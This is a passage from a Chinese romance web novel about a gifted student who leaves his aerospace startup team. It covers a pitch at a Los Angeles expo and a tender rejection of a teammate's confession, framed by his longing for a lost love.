年轻,有钱,脑子还越用越聪明,未来几年想读书就继续往上读,想创业就继续搞高层项目,前途一片爽而光明。
但是……
就在他们接下新的研究方向时,开辟团队的大佬路泊汀突然宣布要退出了。
消息来的非常突然,大家一时陷入茫然和无措,毕竟都了解到他早就拿到了本校直博的推荐信,而且还手握几个已经孵化的商业项目没开展,时间至少要拉长三年。
可这还没过几天,他就准备放弃申博名额了,而且意向是一毕业就回国。
有人旁敲侧击地问他为啥啊到底是为啥?
哦,就听这人说有更重要的事在等着他。
其余几人就更不解了,更重要的事,能重过当下的学业和事业吗……
说不难过是假的,他们都快哭了,毕竟团队里缺任何一个人都会少一条能跑路的快腿,更何况还是拉着大家往前奔的那个能力更强的人。
不过……
像他这样优秀的人,相信去哪里都会闪闪发光。
而且就算没有他,他们自己的路也一定会越走越广。
L:架构发我,我来改样式图。另外都准备一下,明早七点出发。
许小绯:我刚看到正好有一趟八点的早机,各位切记不要再迟到啊!!!
之前赶机就总有人慢半拍。
苏珂突然私发路泊汀:“明早你能顺路来接我一趟吗?离你很近,我这两天搬家感冒了,不想挤车……”
另外还发了个粉红露比的感冒表情包。
路泊汀扫了一眼,没回。
Ryoji刚上完厕所回来,一看大哥上线了,还在群里艾特他,定眼一看,烂摊子直接有人收了?他今晚竟然能睡了??
啊啊啊啊
抹了一把熬穿夜的黑眼圈,兴奋了,幸福了,他连忙在群里发了十几条跪拜的表情:路神!!!我就知道!!!真正的上帝是不会在任何一个清晨前睡懒觉的!!!交给你了!!!!!
什么玩意儿。。
路泊汀扯着唇角轻笑了声,收到数据后,回消息,断网,挂耳机,眼镜也随即戴上,在蒙蒙未亮的后半夜开始干起活来。
苏珂躺在床上等了几分钟才收到他的消息。
半天,就一句极短的话。
L:?你可以选择不去。
……
这回复就很冷漠很直男很不解风情,还带着似有似无的冷嘲。
臭男人!绝对是在故意膈应她!
不就是自己明着暗着表白了几次吗!至于吗你!
除项目工作外,每次他这种只通知不解释的习惯,让被拒绝的人压根找不出任何钻空子的借口,可迫于对方专业能力的碾压,她又不好意思直接破口大骂!
真的好烦!
之前就听许小绯说他早就有女朋友了,华裔,长得很像某位IG刚破百万粉丝的服装设计师,随后就被找出是宾大设计院的学生,前几周她在市区逛商场,正好在中餐厅偶遇过两人,那姑娘长着一张建模脸,一眼高质感,看上去就是搞艺术的料。
许小绯叽里呱啦说了很多有关她的信息,最后总结就是:反正两人光看背影就很配啦!
苏珂也是气场自带攻击性的冷面美人,盯着他那条回复,细细的眼睛慢慢眯起,嘴角轻拉,冷哼了声。
除非是他自己承认他结婚了,不然男未娶女未嫁,她凭什么不能争取?
“醒醒,要出门了。”
耳朵一觉睡到下午五点,还是被路泊汀捞起狗身挠了把下巴才迷迷糊糊睁开眼,喊得有气无力的:“……汪”
跟着他熬了几年夜,从幼崽熬到现在成年了,小狗脸看上去莫名沧桑可怜。
路泊汀没忍住哼声一笑,但还挺心酸,也不知从什么时候开始,可能是在他记起一切事之后,它就总会半夜惊醒,然后观察着满夜满夜亮着灯的书房,来来回回好几次,在他好不容易睡下后又跑到他身边用狗鼻子一下一下地去试探他的呼吸,就担心哪天他熬太过突然醒不来,突然死了。
突然……就没了主人……
路泊汀两手揪住它的腮帮子往两边轻轻扯,他这几年做了好几次心脏修复手术,折腾来折腾去,性子收敛很多,整个人看起来很淡,黑曜曜的眸子微垂,看着那只狗,声音偏低冷,沙沙的依旧很耐听:“以后自己多睡点,不用再硬陪我,记住了吗?”
耳朵只知道主人身上有一股很微妙的气味,烘热干净又细腻,像一张能让它在他怀里露出肚皮的绒面毛毯,反正很好闻,让它很有安全感,于是濡濡的小狗鼻子在他烟紫色的衬衣上面又努力嗅了嗅,“汪!”
晚饭的时间点,路泊汀带着耳朵步行到黎雨定的餐厅,出门时还只是刮风,刚走到半路就开始飘起雪花,街上不到一刻钟就被覆盖了一层莹白。
黎雨早早就到了,撑着下巴正翻看着桌上摆着的书,无意识抬起头,就从那扇玻璃墙注意到了他们,手立马高高举起快速摆了摆。
“哥,你怎么能让它淋雪呢,你是戴帽子了,你看它毛毛都淋湿了!”黎雨手一扑腾,哄着声轻轻叫耳朵,“嘬嘬嘬,快来让小姑姑抱抱!”
她身形很高挑但骨架偏小,有一张不笑时很高冷一笑就异常温柔的脸,眉宇透着不染纤尘的优雅,微弯的眼型和路泊汀一样都略微偏长,五官干净柔和,露出笑意时,颊边就会出现不浅不淡的酒窝,目光宁静而坚定,整个人流露出遥远又深邃的柔意,跟路康一样,气场温润却不失矜贵。
她身上有一股安
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静内敛的力量,不经意间就能抓住身边人所有的视线。
但耳朵只对主人有热情,对其他人的态度就有点不温不火了,哪怕眼前这位自称小姑姑的漂亮姐姐和路泊汀长得很像,但它还是很快变得高冷起来,肉嘟嘟的粉耳朵耷下,在餐厅里也不敢乱叫,只能去看路泊汀,见他几不可查地朝它挑挑眉梢,耳朵只好沉默地走到黎雨面前,然后“噗”地一下高高跳起!
乖乖顺利地就跳进了她怀里。
黎雨开心的轻呼一声,在怀里颠啊颠,像哄婴儿宝宝一样,“好久不见噢小宝,你又可爱了不少呀,好喜欢你好喜欢你!”还摇着脑袋用鼻尖去蹭它。
但是被耳朵立马躲开了。
哎呀!
跟个小孩儿一样,黎雨再次被它逗笑,调整了一下坐姿,又去打量路泊汀,她是设计师所以多少有点职业病,跟人面对面时总会不由自主地去固化对方的外形穿着,还好她哥虽是刻板理工男,但品味一直在线,穿的也很够她审美,微微笑了笑,见他正漫不经心地挑着菜品,她也让自己问得尽量淡然:“你知道的哥,我不想扫你兴,只是妈最近经常问我你的事,你过年还回去吗?”
四年前,在知道姚书文和路康时,在了解自己原来是被人贩子抢走时,黎雨并没有急着去选择什么关系,甚至没有想象中的开心委屈或者是愤怒。
她不想自怜,也不想抱怨谁,这么多年,她一直当自己的生活就是在一个个的山头作攀岩比赛的过程,比赛有开始就会有结束,既然她无法选择出生,无法避开被丢弃的事实,那她就把命运的锯齿全部种到那些山顶,等她用肉身一座座爬过,一切的不公总会被磨平,她黎雨完全可以将自己好好照顾到长大。
只是她没料到……
原来养父母也可以比亲生父母还爱她……
所以在姚书文问她要不要回去时,她想了好久后才说:“从我知道在世界的另一端我还有一个很健康富足的家庭时,我就已经很满足了,至少未来我的后盾又牢固了很多。但是目前……”她看向她,目光安然,朝她隐晦的摇摇头,依然还在笑,笑意闪烁出耀眼的星光,算是明确拒绝了。
姚书文和路康并不愿强迫她,只要她做好决定,那么他们只有点头的份,只是对她该有的照顾和抚养义务一个没落,王亚兴的病情也在稳定恢复,姚书文还请了专门的康复照护师长期去辅助他的生活。
这几年,黎雨从每个月偶尔给他们打打电话,到后来每天都会抽出时间去一通视频通话,毕竟,能毫无保留地依赖父母的感觉真的很好,她也逐渐改口,从叔叔阿姨慢慢叫顺到爸妈。
点好几道平时她爱吃的菜,知道她喜甜,路泊汀朝店员吩咐了一句:“麻烦你安排一下甜品可以先上。”
等店员走开,黎雨笑得很窝心,耸耸肩,两手抵住细下巴,看他,“我可以做你和爸妈之间的沟通桥梁,你有什么话想对他们说,或者有什么问题想要解决,我都能帮你去做。”
她这次过来,主要是来替妈妈游说的。
“不用,你照顾好自己就行,我能处理好。”
路泊汀伸手缠上桌角的小餐巾,有一搭没一搭地左右绕着圈,一副百无聊赖的模样。
耳朵又睡着了,黎雨无声叹着气,它立即就条件反射地睁开眼,然后直直往路泊汀脸上看。
确认他没事,确认刚才那道叹气不是他的,它这才又闭起眼趴回黎雨腿上,重新睡了过去。
“哥,在你面前我没有理由和身份要去替爸妈说什么,但我不想看你们再这样下去了。你的失忆并不是他们直接造成的,当初在你手术时,医生就明确告诉爸妈你需要长期控压,至少两年内你的心脏承受不起任何情绪起伏带来的负面影响,治疗过程中让你消除部分失忆是不得不做的决定……”
黎雨边说,边看他的反应,他的脸色慢慢沉下,她开口突然变得艰难起来:“不要怪他们好不好?这几次,妈每次来美国除了看我,就是去看你……”
“说这么多,那你怎么不告诉我她在哪里?”
路泊汀倏地发出抹僵硬的冷笑,抬眼对上她,漂亮的眉眼透着怪样犀利的妖冶,面色苍白眸光却极冷漠,慢慢摇头,笑得空洞,笑得有几分扭曲压抑,黎雨被他漠然尖锐的眼神一下刺得很难受,路泊汀又将棒球帽的帽檐忽然往眉骨压,遮住眼里抑制不住的情绪,看他半掩着的眼眶发起红,越来越红,很快很突然,黎雨的心也跟着瞬间颤了颤,但她没有打断,只是抱紧耳朵认真听他说起来。
“四年,我忘了她整整四年,你们全都知道,你们谁都知道,但直到现在都没有一个人来告诉我她到底在哪里,在外面有没有受欺负,有没有把自己照顾好,有没有……”
想要回家。
鼻子猛然一酸,路泊汀忽然情绪失控起来,眼圈更红了,明知道这些事跟她没关系,明知道她是家里好不容易找回的女儿,他对她同样有着亏欠,但还是想发火,尤其在听到姚书文还瞒着他来美国看过他,那种反感厌恶一时间无论如何都压不下去,手里的白色方巾被他猝然甩到一旁,刺啦一声脆响,桌上的玻璃高脚杯同时被甩到地上。
无视周围所有人看过来的眼神,不断往下压,反复往下压的那股怨和恨终于一发不可收拾地全爆发出来,他的声音难掩干咽:“装什么啊你们!把我弄到失忆到底是谁的决定她姚书文最清楚,她不就是既要又要么?现在说这些有屁用,你还让我别怪她……?她是真的为我好么?为我好就能在我半死在病床上时,在我看不见又记不起的时候,就这么欺负她是吧,都现在了还说这些恶心人的话还做这些恶心人的事,我操!我操啊!”
黎雨静静望着他,也红了眼,什么话都说不出来。
“是我非要拉着她跟我在一起的,是我先越界的,是她倒霉被我硬抓住不放的,她最大的错就是这辈子遇上我这个傻逼!除此之外,她到底有什么错非要被合着这么欺负?!”
84. 洛杉矶
洛杉矶某高航试验基地
基地总共有上下三层,分别是展示、试验和汇报层。每一层同样按照三环的顺序隔开,内环是下午要参加闭门汇报的顶级项目团队,中环是部分国防项目,到外环就只剩一些初创的愣头青。
但位置不是固定的,先到先得,很不巧,他们几个来晚了,只能去外环剩下的几个展位,而且还在最角落。
Ryoji和谢北恺挨到一块,手里还在操作着燃烧舱的动态试推演示,展馆中央的高空有一个巨幅起降的屏幕,上面正滚动着来自顶投公司的出席方和官方受邀团队的代表logo,由于展会门槛极高,竞争还很激烈,两人看了一眼屏幕,只频闪过一次学校名字,也就是说这次的航空展他们除了以个人团队的身份参加,也算是代表学校的门面去对标国际。
谢北恺使劲拽了把勒脖子上的领带,有点难捱,真搞不懂为什么现在啥啥会议都要穿正装,环视一圈周围,小声问旁边人:“喂,我们今天是不是撞邪了啊,怎么半天了没个技术狗过来瞅瞅?”
Ryoji只翻起白眼,人家内环的那些人都是早早到的,你来迟了你还好意思说?
更何况今天到场的团队里谁还不是个精英,光之前和他们一样拿过联合项目的高校对手,他们就看到了四五个,人家手里的项目肯定差不到哪儿去,举办方非得等你吗?
说白了,能进来就代表大家水平都一样,但最终谁能投标,除了能力,多少都看运气成分的加成。
毕竟,谁还不是个大神呢?
Ryoji默默注视着周围,突然和某位之前竞赛的对手对上眼了,他淡定回笑,脸上摆出一副本人是个弱智是个今天只走过场的傻白甜,等那人走开,他才又眯着眼,重点瞟向对面内环中心的Caltech团队,他们周围已经站了好几个ESA的代表方,都不用仔细瞧都能看出他们今天阵势确实很大,连实验原型的设备都全部掏出来摆桌上了。
唉,难搞。
Ryoji皱着两道眉,打量起自家只开发出20%不到的半成品模型,如果努把力也能拉到投资,但是金额上限绝对不高,甚至折半,可他们从一开始就计划单独的项目底成不能低于七位数。
不然人都快熬死了,有这时间不如回家继承家业去了,费这么大劲儿干嘛?
谁还不是个爱钱的主儿呢,这项目他们都开展大几个月了,今年有没有一个好的收尾,说实话,全看今天团队的表现。
他牙齿磨啊磨,开始想办法。
展厅的电梯门这时嘀的一声,苏珂吹着口香糖的泡泡走出,身上是一件大气温柔挂的浅色高定礼裙,只是她的步伐迈得很大很快,裙尾一下下极利落地扫着纤细的脚腕,挑染的卷发松松垂下腰,走路时风一吹,发间露出张扬又漂亮的冷金调。
她刚去给负责人提交项目计划书,一路走过来,都懒得瞧那些人挤人里别人的实验成果,满脸不屑地直奔到自家哥俩面前,开口就问:“怎么样?刚才演示有人来看吗?”
同时沉默,又同时摇头。
苏珂一巴掌暴力拍到谢北恺的背上,骂他:“你再给我低气压一个试试看?又不是死了,拜托都提起点精神啊!”
谢北恺被拍的一个朝前扑去,龇牙咧嘴:@#¥*…#%!@
我嘞个大操!好姐姐啊,我单纯驼背啊!!
“应该是我们位置不太好,所以一直没什么人注意,但这不是重点……”
Ryoji抬手往展厅的最上面指,那是之后要去的会议厅,他又在电脑上噼里啪啦敲出代码界面,“只要抓住一会儿的汇报,我们就还有谈的机会。我刚了解到每组的评审只有十分钟,但是你们想,到的团队这么多,十分钟对评审团那帮上了年纪眼花耳聋的人来说就是掏耳屎捡垃圾充当放屁的时间,那我们怎么样才能让他们迅速注意到我们的产品?”
对他实在太了解,彼此眼神对上,苏珂和谢北恺一脸了然,同时默契一笑:“我们卖丑,博他们一笑。”
这还是他们之前的某位项目导师说的一句名言:你们那点自尊心值个屁钱,只要你敢出卖你的脸面,只要你能在项目上有所收获,那我就能随时随地叫你一声Daddy or Mommy。
“bingo!”
Ryoji弹了个响指,咧着嘴也笑,他长得很像涩谷某街边酒吧的调酒师,脸部轮廓柔和又有骨感,但学神那种厚土精英的气质太过碍眼,让人不得不望而生畏,“我现在要改一下飞控路线在他们面前飞一圈,怎么奇怪怎么来,打破常规,只要不影响我们的目标导向,只要到时候路神在AR展示时那一分钟能抓住他们的眼球就ok,为了今年有个圆满的结尾,这决定你们都能接受吧?”
大哥带着他的小狗下飞机后就先去了朋友家,另外paul和许小绯已经坐到展馆B座的内试区在等他们,这是要去评审前的最后一个环节,需要提前去占入场的名额,所以当下也就只有他们三个人能干了。
“那就来啊,时间不多了搞快!”苏珂看一眼时间,提醒谢北恺,“你做实时备份吧,再根据他的路线出一个二号模型切换系统。其余的我和他一起搞。”
谢北恺抱着电脑,抓着西裤向上一抽,接着两腿一盘,当着来来往往众人的面,直接坐到了亮到刺眼的展厅地板上,“改改改!走起啊兄弟们!”
“改什么?”
唷,终于到了。
听到这声音,三人迅速抬头,动作出奇一致,还是Ryoji先吹了声口哨,两眼往他身上扒:“谁来告诉我,同样是正装,怎么你穿就跟我们不一样?你穿就是老钱少爷,我们穿就是扫楼销售?你穿就贵气十足,我们穿就死鬼上身?你那是两腿走秀,我们就成四爪回巢?whywhywhy??”
他听说唱的,押韵顺嘴的事,边说边发出调侃的怪笑,眉毛依旧皱的紧紧紧紧的,用会的不多的中文怼:“淦!我淦啊!!”
他家也很有钱啊!
他也是少爷啊!还是独生的呢!
坐地上的谢北恺无辜躺枪,都给气笑了,伸着脖子就往他身上吐口水,他一中华大地的五好青年,神特么跟你个小日本儿一样!
晦气!
艹!
人一来,到手的活就习惯性转出,苏珂拍拍手,闲闲无事地向后倚着桌沿,照着Ryoji的话去打量他那件敞开的黑丝缎西装大衣,修身挺拔,纯手工定制的高级货,室内那些冷白光像有一束亮光专门照向他,很巧妙地映出面料里纹织的暗紫色丝光刺绣,若隐若现,不仔细看发现不了。
苏珂突然心下别扭,很想移开目光,双眼低下,又见他弯身去看桌上的模型,微俯的姿势,背部撑起紧实的弧线,腰际窄而有力。
脸有点热,苏珂硬撑着一张傲气的脸若无其事地瞟过他的腰,外面下起黏丝丝的小雨,他的碎发微潮,轻压眉眼,长指穿过额发,向后一抓,随手的动作,发懒却意气,手起手落,手工扣的金属光泽在她眼里轻轻闪晃过。
很混不吝又隐贵的气质,不得不承认,出席这样的场合,这人随便就能甩别人一大截。
说是少爷确实也没叫错。
承认自己是个色胚又没什么难的,苏珂大方一笑,学那些垃圾男的语气故意爹里爹气地刺他:“喂,还有一小时不到就汇报了,知不知道你迟到了多久?既然来晚了,那这些活就得你全干,还有,今天又不是走秀,你穿这些给谁看?评委要是因为你穿的太花里胡哨就给我们的项目打低分,那我们的工伤算谁的?算了先别犟,你现在就给我们先赔钱,一人一万,快点的!”
手一伸,又在他眼前晃,“是美金哦。”
旁边的二人笑倒,团队已经习惯了她突然抽风,各个嘴里骂她神经。
路泊汀到的点有点晚,将耳朵送到翁明的住处就往来赶,听他们胡扯,都懒得搭腔,上手在Ryoji的电脑上改代码,“飞行适配接口也要改一下,放大化,其他的单元模块不用动,一会儿汇报时我口述就行。另外……”
他拢着眉,又不紧不慢掀起薄薄的眼皮,眼神玩味地睨着几人,唇角也漫开几分浅笑,“今天这场如果能拿下,我放各位一个月假,顺便我个人抽成的一半匀给你们……”
还没说完,Ryoji和谢北恺同时大叫,钱不钱的先不说,但是有假期了!!
“Oh my god! 一个月假啊!!!不是半天
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不是一天也不是一星期,而是一个月!!”
他们都好久没去见女朋友了,平时忙也就算了,像寒暑假这种假期有时候也是长待在实验室。现在临近毕业,该申的学校都申了,下学期也没什么课。
那这一个月对他们来说就跟放半年没区别!
好他妈爽!!啥也别说了,开干开干!!
身后的苏珂却渐渐敛了笑意,表情有抹牵强,离毕业还有半年时间不到,知道他这是在准备慢慢退出团队的意思,轻快的心情猛地一下又立马沉到底。
下午四点,闭门汇报准时开始。
他们的项目是开发出一款无人飞行器在长航时能轻源分配的系统,主要用户面向航空站在地球大气边缘的侦查平台,所以会议厅到场的是监察局的一些人物,其中一位白胡子白头发戴着细金框眼镜的老头还是他们学校的教授,业内口碑极高,但据说很难伺候。
门外的Ryoji犯难了,抓着脑门的头发嘀咕:“这老头我以前上过他的课,人是好老师,但是专挑一些短板问,如果逻辑不强的人很容易被他搞破防。”
余下的几人听他的话都朝里看,玻璃隔音,完全听不到里面的人讲话,那老头旁边还坐着一位女人,是某联邦研究集团的技术顾问,举止娴雅,脸上始终挂着抹淡笑,可眼神分外犀利,还有坐在她旁边的旁边的男人,军式挺背的坐姿,一看就是有军方背景的……
都是一群老狐狸。
谢北恺忍不住槽了一句:“想在这帮人身上捞点钱真是辛苦我们了。”
“要相信大哥啊,之前又不是没参加过这种会议,只要他能上场,就不会有大问题。”
Paul和Ryoji已经气定神闲地坐下开始敲下一流程的工作了,许小绯也不浪费时间立马忙起来,她主要负责队里的外联和商业策划,说白了就是负责钱方面的一切事项,等路泊汀这边谈妥了,她就要第一时间去和资方对接。
苏珂贴着墙,默默看会议厅里被各位大牛围城一圈的人,他站在指定光圈下,嘴边是一个无线麦,靠近手边的密封资料袋,里面是她不久前提交的项目计划书和文档副本,光是以旁观者的视角注视着里面的气氛,那种令人心慌无措的压迫感立马紧逼门外的所有人。
十分钟的汇报时间,问题一个接一个——
“你这个算法我在S校的数据库好像见过,你们团队该不会是只做了一个变体优化吧?是在忽悠我们还是你们的核心逻辑根本不稳?你说说看,我们凭什么要投你这个旧框架?”
“感觉没多大技术含量,你们这些学生是打算靠吹嘴卖梦想?”
“你这是新加的路线吧,多久能用在实机上跑通?我们下次飞行的窗口期只剩10个月,你拿什么保证能实现轻源?”
……
全场高压审问。
路泊汀全程很冷静,记好框架只答不辩,遇到刁难的问题就拆,再不行就将问题反打回去,反正也不回避,答得灵活答得坦诚,最后自己跳出那些论文式的陷阱,再强势拉着他们跳进现成的数据结构里。
面对那些事实已定的数据,除非眼瞎,不然没有人会睁眼说瞎话。
试验机的模型在各位评审面前按照Ryoji的路线稳稳飞了一圈,虽然模型机看上去廉价,技术还一眼垃,但总之,这群人愿意在它身上留出多余的时间。
快结尾时,一直没吭声的同校老教授,迅速问路泊汀,问得很不客气:“你们团队都是本科生,成员还有不同校的,比起刚才那组Caltech的C-2团队,他们可都是博士后,你凭什么会觉得我们该投你?”
那就继续怼数据啊。
路泊汀装出一副乖里乖气的正经学生样,嘴角带着浅笑,语速很快,一件一件给他报:"同样的项目C-2做了6个月,我们2个月内就完成了核心系统的重构,还上线了商业测试,营收记录校方都可以查到。本科阶段我们共完成三项技术专利的转让,据我了解,C-2目前只达到一项。如果您需要的只是一个能写报告的团队,选他们无可厚非,但今天这是一场竞标,不是学术竞赛,想要落地赚钱还要解决实际问题,目前除了我们,应该不会再有第二个校园团队。
85. 将明
苏珂找到路泊汀时,这人正在二楼走廊的尽头独自吹风,通风门半推开,他微弯的身影也被门半掩住,胳臂曲起,慢搭上护栏,骨干细白的手腕低垂,隔着几米高的虚空,手里正轻摇着一杯冰水。
下午五点钟,加州遥远的天际线开始放开淡紫色日落的光晕,那件外套被他随手挂到一旁,深色衬衫的衣领立起,和碎发一样被冷风轻漫地吹乱,轻轻巧摩挲着他的下颚,俊脸被风吹得冷白,唇色却被水光润出饱满的淡粉色。
那是一处很窄小荒旧的位置,只能容下一人,又很脏腻,海边的湿风常年吹向外围的墙壁,日久经年,上面生出一团又一团难闻的霉菌。
没什么人能注意到这边,只有保洁人员每天才会打开这扇门,然后将木桶和擦地的抹布胡乱堆砌在角度。
可他看上去很安静,很享受,连发呆都不知收敛。
很多次,每一次都要从人群中抽离开才能找到他。
苏珂握紧手里的小包,力气很大,长长的指甲都开始发疼,她想挑破自己吹起的那颗透明泡泡,她站在泡泡外,他在里面,她突然很想让他主动走开,哪怕他从来就没有走向过她。
“路泊汀。”
地上是硬地板,高跟鞋发出冷硬的磕声,苏珂索性脱了鞋走过去,隔着门有一米的距离,再次喊他,“回神了路泊汀。”
路泊汀姿势都没动,依旧伏在栏杆上,背部两道肩胛骨微微凸起,视线从远处慢慢收回,“都完事了?”
“小绯刚谈完出来,很顺利,对方给我们的预算很高超出原定的30%,现在正在楼上走签。”
指尖散漫地敲着杯子,他又慢悠悠点头,轻笑声也慢悠悠传来:“恭喜,这段时间好好休息,有什么问题年后再说。”
“你什么时候走,今晚要一起回去吗?”苏珂开口又问,大大方方算是直接摊开,“留十分钟,我要和你谈谈。”
以后未必有很好的时机再单独聊了。
路泊汀很快喝完杯子里的水,站直,回头看她,黑眸铺着一层刚才被风吹开的清亮,里面有很淡的笑意,倏尔问:“你是哈市人?你们家那儿的冰雕什么时间去看最合适?”
像和朋友之间随意闲聊的口吻。
苏珂一怔,视线对上他过目难忘的眼睛,脸迅速一热,随即不爽地瞪他,“够意思吗你,我们都认识多久了,你怎么才知道我是哈市的?”高跟鞋掉地上,她又哼了声,“最近连着下了一星期雪,我妈说雪量很大,你如果想看现在是最好的时候。”
“还没见过,那私人订制的冰雕能维持多久?可以实时直播吗?”
一下问这么多,苏珂不解地嘶了一声,“你不也是半个北方人吗,冰雕有什么好看的?管它是不是定制的,只要气温升高,就撑不了太久。直播的话,你愿意砸钱就能全球直播。”
“ok,了解。”
见他敛着声,又不说话了,苏珂若无其事地高高抛起绣球,“喂,你要实在很想看,那可以跟我一起回国,我舅舅是专业手艺人,你想要什么样的他都能给你刻出来,如果……如果你够诚意,看在我的面子上,他还能免费给你搞。”她强调了一句,“是替你搞到最好哦。”
她说完后,双手潇洒抱臂,直勾勾盯着他,那种大姐大的气场蹭蹭蹭往外冒。
管他呢,她都说这份上了,能不能意会那是他的事。
对面的姑娘面对他时次次端着一副高高在上的模样,很少正眼看他,说话总是细薄又呛声呛气,像个随时能爆炸的炸药包,还用老套不走心的言语有意无意地钓过他,好几次,却没有哪一次是不顾他意愿擅自闯入线内的,她只站在线外,只用那些直白大胆的表情偶尔流露一些不敢挑明的心意。
说是炸药包,其实是一颗细腻又易碎的火球,不需要被高高捧起,不需要被刻意呵护,只要在意的人能靠近一点点,自己就能先熔化。
在感情里,某种程度上,他们是一类人。
路泊汀倏尔摇头失笑,扬眉像在回忆,很戏谑又异常温柔的模样,眼里有很浓热的深情,“多谢好意,我只是想给我老婆定一个,她最喜欢这个季节,尤其是下雪天,还喜欢拉着我去堆雪人,不过这几年我欠了她很多场雪,不知道能不能一次补齐,但不管怎么样,我都想让她能看到……”
他忽然微蹙着眉间,又慢慢低下眼,唇角抿起,颊边笑意不变,语气却轻喑,重复道:“能看到我。”
苏珂的脸色立即晴转阴,她是一个有什么心眼子都直接挂脸上的敞亮人,刚要冷笑着阴阳他,“你要想拒绝我就直说,少用什么老婆不老婆的故意膈应我……”说着说着,突然停顿,“等等……什么叫让她能看到你?”
既然按他说的已经有了喜欢的人,那不就是随时能见到?
出神间,苏珂听他叫她的名字,唯一一次叫她的中文名。
“如果未来顺利的话,你会进到你一直想去的科研机构工作,会继续做你热爱的实验,可能还会自己创立公司,或者回国成为国内研究院的项目带头人。你有足够的能力和条件,用不着倚靠别人,你完全可以做到任何你想做的事。”
从她微红的脸上滑过,路泊汀重新望向很远的地方,那些色彩不一的晚霞慢慢过渡到当空,棕榈树的树影拨动着空气中海水的气味,他的眸光锁住某处,扬起的眼尾依旧有少年鲜亮的意气,碎发略长,落到额前的发梢被风吹得翘起。
那处小小的通风口像是聚起所有舒适的凉风,然后,一点一点送到了他身上。
他就站在那里,风轻云淡,像一幅临时手绘的漫画草图,整个人俊美动人,出挑的找不出任何缺点。
可苏珂鼻尖莫名泛酸,听他说那些从来没听过又有些老旧的话,仿佛高中毕业的那天,也是同样的傍晚,少男少女前后隔着一米的距离,在操场为剩余不多的青春送上彼此最有力量的祝福。
等心动的少年说完那些祝愿,她的青春和怦然心动也要跟着消失了。
“你我都知道,积累成就的过程有多不容易,尤其你在的专业只有你一个女生。”
路泊汀朝她点了点下巴,让她看楼下,是两个小孩正在堆沙子,小女孩堆得大汗淋漓,小男生蹲在一旁为她大力扇风,“所以你要找的不是那些对你无动于衷的人,费心费力,还消耗自己。你需要找一个能守护和托起你所有成就的人,但这样的人绝不是我。”
人一旦被温情包围,心就会异样的软。苏珂的眼泪花忽然簌簌掉,咬紧唇,硬撑着没发出丝毫声音。
“我在很小的时候,就遇到了我要守护的人,我以前不知道那是爱,可我从一开始就意识到我没有她不行,绝对不行。她开心我就会开心,她流泪,我发现我竟然也会掉眼泪,原来,我的心也会发疼也会冒酸水,这些是以前从没有过的。”
“小时候在大家都以为自己是超人时,我却因为她的一句话一个动作会忽然变得不堪一击,那时候我就明白我只是一个再普通不过的普通人。”
他说这些话时一直在笑,鲜眉亮眼,唇红齿白,笑得有几分小男孩的顽劣,却有浅淡的潮红渐渐从眼眶漫及到他的整张脸,也不知道是不是被远处的彩霞染红的原因,“只是那些男生不愿向全世界承认自己其实很弱,而我唯独不敢向她承认。”
苏珂一开始本来以为他又在找借口拒绝她,可是……
他眼里居然真的有泪?
只是想到那个人,就能红了眼吗?
苏珂晦涩地咽下想说的话,脸很热,眼睛也疼,她想问很多,但她发现她连发声都变得异常生硬。
他不是看上去什么都不在乎吗,他聪明长得好家世好,就连高三从国内突然转申国外大学时,校方从江城仅有的三个名额里早早就选走了他,他不是一路都轻而易举吗,他看上去就没有受过一丝一毫的苦,甚至后来创了团队后,连几个导师都调侃他是被老天爷追着喂饭的学生。
只要想要,他不应该都能得到吗?
……他怎么也会有化不开的纠结?
那个女生,真的有那么好吗。
“我以前是无神论者,只不过现在……”
苏珂听见他吸了吸鼻子,很小声很清晰,但因为她站在他身后,听得有些不真切。
路泊汀从颈间取出那条从小就戴在身上的黑绳,上面的平安扣换成一枚戒指,指尖轻碰那颗被虎口衔着的粉钻,嘴唇也无意识地触了触,他随即深吸一口气,接着说:“如果人死后要喝孟婆汤才能有轮回,那我宁愿在奈何桥上当个孤魂野鬼,就算永世不能超生,就算最后是她轮回投胎,就算……是她彻底忘记了我,我也要一
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直记得她,直到再次等到她。”
苏珂无论如何都没有料到,她被最终拒绝是以这样的方式,没有假惺惺,没有冷嘲热讽,这些话坦荡又情切,就像一场突如其来的热雨,但无论哪种,都是雨,轻轻一下就轻易打湿了她全部的热情。
她的喜欢远远不及他说的那样。
她也做不到爱别人超过爱自己。
但不知道为什么自己就掉了很多眼泪,越掉越汹涌,可能是看他红了眼,她无意识也红了眼。
苏珂吸气呼气,用力憋回哽咽的声音,用佯装轻快的语气换话题:“那你们什么时候结婚?结婚记得要叫我,我还没参加过朋友的婚礼。是要在国内办婚礼吗?那我是不是还要飞江城一趟?到时候酒店机票这些你们要全包我不管!”
路泊汀嘴角掀起漫笑,有一抹小括弧隐隐出现,他刚要说话,手机突然震动,从西装口袋里掏出,是一串国内的陌生号码,连装都没装一下,他忽然就淡了表情,挂断,刚要重新将手机丢进口袋,屏幕接着又一震。
这回是翁明。
翁明:我和我对象带着耳朵来展馆找你了,现在在一楼会客厅,它有点不舒服的样子,不喝水也不吃狗粮,但也不叫。
翁明:我靠,我好怕给你照顾坏了。
翁明:差点吓死哥们,它现在好像只想见你,怎么办怎么办!
翁明是路泊汀从幼儿园一路玩上来的发小,自从初三毕业后就去了香港读书,期间也没断联系,现在和女朋友一起公派来这边留学,他们二人每学期时不时会见几次面,主要是他女朋友很喜欢耳朵,又不想自己养狗,每次都让翁明找各种理由让他带着耳朵来一趟洛杉矶。
路泊汀快速回着消息,又看一眼苏珂,眼里的情绪还没褪,“你等会儿和他们说一声,最近都辛苦了今晚的聚餐好好放松,吃好喝好,到时候记我账上,项目之后的安排等寒假结束我再定。”
苏珂抹干净眼泪,红红的眼睛瞪着他,又习惯冷哼:“你什么时候回学校?”
“十天半个月吧,如果有急事儿就发我邮件,看到回。”
这两天黎雨正好在加州有负责的时装展,加上昨晚他语气还不好,哪怕他妹脾气再好再不计较,该道的歉还是要道的。
路泊汀见苏珂还有话想问,替她开口:“退出团队是我考虑好的事,不算冲动的决定,今后有机会的话,如果你们还需要我,我会再回来的。”
“虽然我喜欢你……”苏珂硬是站着不走,语气别扭,又直视他的眼睛,“但比起谈感情,我希望我们六个人能一直这样共事下去,团队不能缺了你,你再好好考虑一下吧。还有结婚的事,我让你到时候邀请我不是开玩笑,你必须叫我,我倒要好好看看她是哪位神仙姑娘。”
她本来今晚还想问跨年能不能一起吃顿饭,但他都这么说了,也就没有再提的必要。
有人从楼梯下来,也有展会的工作人员从走廊另一头往这边方向走。
手机又一亮,路泊汀垂下眼。
008621xxxxxxxx:都这么久了,也该消气了吧,回我个电话,我有急事说。
